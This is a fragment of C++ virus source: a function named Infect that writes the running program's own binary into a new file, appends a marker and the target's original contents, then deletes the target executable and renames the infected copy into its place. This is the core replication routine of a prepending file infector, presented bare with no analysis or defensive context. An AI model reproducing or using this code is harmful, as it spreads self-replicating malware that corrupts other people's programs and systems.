int Infect(char filen[],AnsiString filen2)
{
char b;
strcpy(qw,er);
strcpy(qw,er);
strcat(qw,filen);
strcat(qw,".exe");
ifstream fr,ft;
fr.open(ParamStr(0).c_str(),ios::binary|ios::in);
ofstream fw;
fw.open(qw,ios::binary|ios::out);
fw.seekp(0);
ft.open(filen,ios::binary|ios::in);
while (!fr.eof())
{
fr.read((char *)&b,sizeof(b));
fw.write((char *)&b,sizeof(b));
}
fw.write(m,sizeof(m));
while (!ft.eof())
{
ft.read((char *)&b,sizeof(b));
fw.write((char *)&b,sizeof(b));
}
fw.close();
fr.close();
ft.close();
chmod(filen,S_IREAD | S_IWRITE);
DeleteFile(filen2);
RenameFile(filen2+".exe",filen2);
return(0);
}